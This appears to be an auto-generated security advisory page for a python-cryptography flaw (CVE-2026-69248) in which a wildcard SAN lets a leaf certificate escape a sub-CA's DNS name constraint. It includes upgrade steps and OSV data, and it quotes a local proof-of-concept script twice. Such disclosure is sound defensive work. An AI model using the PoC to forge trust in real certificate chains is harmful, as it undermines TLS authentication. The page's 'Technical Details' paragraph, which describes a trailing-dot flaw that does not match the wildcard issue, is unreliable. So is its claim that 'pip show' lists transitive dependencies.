CVE-2026-69248: Cryptography Python-cryptography Verifier Accepts Wildcard DNS Vulnerability

MODERATE
Advisory Identifier: GHSA-m2h6-j472-rp4c
Share
CWE-295
Published
Advisory Summary

CVE-2026-69248 is a MODERATE python-cryptography verifier accepts wildcard dns vulnerability (CWE-295: Improper Certificate Validation) affecting Cryptography libraries in the PyPI ecosystem. The issue involves python-cryptography verifier accepts wildcard dns names allowing escape from permittedsubtrees. Remediation is available by upgrading affected packages to version 49.0.0.

CVE-2026-69248 at a Glance

CVE Identifier CVE-2026-69248
GHSA Identifier GHSA-m2h6-j472-rp4c
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-295: Improper Certificate Validation
Affected Product Cryptography
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-69248

To remediate this vulnerability, upgrade all affected Cryptography dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

cryptography fixed: 49.0.0 
pip install cryptography>=49.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show cryptography

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-69248, inspect your installed packages using pip:

pip show cryptography

Analyze the terminal output to locate any version of Cryptography in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 49.0.0), your application is affected.

Note: The pip show cryptography command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & RFC 5280 Specification

Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of Cryptography failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.

Source Advisory Statement

### Summary If an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names. ### PoC ``` #!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN. Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = *.example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, ) now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1) def build(subject, issuer, key, issuer_key, ca, exts=()): b = (x509.CertificateBuilder() .subject_name(subject).issuer_name(issuer) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now - 30 * day) .not_valid_after(now + 3650 * day) .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True)) for e, c in exts: b = b.add_extension(e, c) return b.sign(issuer_key, hashes.SHA256()) # Root rk = ec.generate_private_key(ec.SECP256R1()) rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")]) root = build(rn, rn, rk, rk, True) # Sub-CA constrained to foo.example.com sk = ec.generate_private_key(ec.SECP256R1()) sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")]) nc = x509.NameConstraints( permitted_subtrees=[x509.DNSName("foo.example.com")], excluded_subtrees=None, ) sub = build(sn, rn, sk, rk, True, [(nc, True)]) # Leaf with SAN *.example.com (over-broad relative to the constraint) lk = ec.generate_private_key(ec.SECP256R1()) ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")]) san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")]) leaf = build(ln, sn, lk, sk, False, [(san, False)]) # Policies ca_pol = ExtensionPolicy.permit_all().require_present( x509.BasicConstraints, Criticality.AGNOSTIC, None, ) ee_pol = ExtensionPolicy.permit_all().require_present( x509.SubjectAlternativeName, Criticality.AGNOSTIC, None, ) v = ( PolicyBuilder() .store(Store([root])) .time(now) .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol) .build_server_verifier(x509.DNSName("bar.example.com")) ) try: v.verify(leaf, [sub]) print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com") except VerificationError as e: print(f"EXPECTED: VerificationError: {e}") ``` ### Impact Acceptance of invalid certificate chain.

CVE-2026-69248 Affected Cryptography Versions

1 component(s)
Fixed Versions:
49.0.0
Product / Package Ecosystem Affected Versions Fixed Version
cryptography
pypi/cryptography
PyPI
≥ 45.0.0
< 49.0.0
49.0.0

References

GitHub Advisory / Wiki ADVISORY
https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c
NVD — CVE-2026-69248 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-69248
Cryptography Source Repository REPOSITORY
https://github.com/pyca/cryptography/pull/14888
Security Fix Commit FIX COMMIT
https://github.com/pyca/cryptography/commit/286c89128
Security Fix Commit FIX COMMIT
https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2
Cryptography Source Repository REPOSITORY
https://github.com/pyca/cryptography
Cryptography Source Repository REPOSITORY
https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml

Frequently Asked Questions

What is CVE-2026-69248?
CVE-2026-69248 is a security vulnerability in Cryptography involving python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees under CWE-295: Improper Certificate Validation.
Which Cryptography versions are affected?
Affected versions include releases prior to 49.0.0 across affected packages: cryptography.
What version fixes CVE-2026-69248?
Upgrading to 49.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is cryptography affected?
Yes, cryptography is affected in releases prior to 49.0.0. Upgrade your dependency to 49.0.0 or later.
What CWE is associated with CVE-2026-69248?
CVE-2026-69248 is classified under CWE-295: Improper Certificate Validation (The product does not validate, or incorrectly validates, a certificate.).
How can I check PyPI dependencies for CVE-2026-69248?
Run the dependency tree command: 'pip show cryptography'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m2h6-j472-rp4c",
  "modified" : "2026-09-24T14:54:17Z",
  "published" : "2026-08-03T21:26:57Z",
  "aliases" : [ "CVE-2026-69248" ],
  "summary" : "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees",
  "details" : "### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes — a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "cryptography"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "45.0.0"
      }, {
        "fixed" : "49.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-69248"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyca/cryptography/pull/14888"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyca/cryptography/commit/286c89128"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyca/cryptography"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-295" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-03T21:26:57Z",
    "nvd_published_at" : "2026-08-03T22:16:52Z"
  }
}